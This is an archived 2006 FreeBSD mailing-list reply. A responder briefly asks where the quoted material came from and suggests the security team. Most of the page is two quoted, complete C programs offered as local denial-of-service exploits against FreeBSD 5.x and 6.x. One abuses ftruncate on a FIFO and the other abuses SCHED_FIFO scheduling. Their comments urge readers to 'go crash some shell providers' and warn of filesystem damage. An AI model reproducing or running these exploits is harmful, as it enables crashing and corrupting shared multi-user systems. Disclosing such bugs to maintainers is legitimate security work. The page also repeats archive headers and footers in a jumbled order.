

Re: Not sure about...

Source: <http://unix.derkeiler.com/Mailing-Lists/FreeBSD/questions/2006-10/msg00803.html>

- *From:* Bill Moran <wmoran@xxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
 - *Date:* Fri, 13 Oct 2006 11:47:22 -0400
-

In response to "aegis" <aegis@xxxxxxxxxxxxx>:

I'm not sure if this is the address I should be contacting, although I feel this is severely important...

Where did this come from? Is this a recent CVS checkout? From which server? May want to followup on security@xxxxxxxxxxxxx

```
1.. /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
2.. Log: According to POSIX, the result of ftruncate(2) is unspecified
3.. for file types other than VREG, VDIR and shared memory objects.
4.. We already handle VREG, VLNK and VDIR cases. Silently ignore
5.. truncate requests for all the rest. PR kern/98064
6..
7.. lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
8.. tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
9.. - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
10.. wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or
whatever.
11.. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell
providers.
12..
13.. */
14..
15.. #include <fcntl.h>
16.. #include <unistd.h>
17.. #include <sys/types.h>
18.. #include <sys/stat.h>
19..
20.. int main(){
21.. mkfifo("lol",0x1b6);
22.. int fd = open("lol",O_RDWR);
23.. ftruncate(fd,12345);
24.. close(fd);
25.. }
```

Re: Not sure about...

```
1.. /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
b..
3.. Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local
DOS.
4.. lol lol, thatz true. kokanin@gmail lolling it out in '06 !"##%&%(20061013)(="#"!
5.. tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE,
6.1-RELEASE-p10 (latest at the time of writing)
6.. wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or
whatever.
7.. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell
providers.
8.. */
9.. #include <sched.h>
10.. int main(){
11.. struct sched_param lol;
12.. lol.sched_priority = sched_get_priority_max(SCHED_FIFO);
13.. sched_setscheduler(0,SCHED_FIFO,&lol);
14.. for(;;){ }
15.. }
```

freebsd-questions@xxxxxxxxxxx mailing list

<http://lists.freebsd.org/mailman/listinfo/freebsd-questions>

To unsubscribe, send any mail to "freebsd-questions-unsubscribe@xxxxxxxxxxx"

--

Bill Moran

Collaborative Fusion Inc.

IMPORTANT: This message contains confidential information and is intended only for the individual named. If the reader of this message is not an intended recipient (or the individual responsible for the delivery of this message to an intended recipient), please be advised that any re-use, dissemination, distribution or copying of this message is prohibited. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission.

freebsd-questions@xxxxxxxxxxx mailing list

<http://lists.freebsd.org/mailman/listinfo/freebsd-questions>

Re: Not sure about...

Re: Not sure about...

To unsubscribe, send any mail to "freebsd-questions-unsubscribe@xxxxxxxxxxx"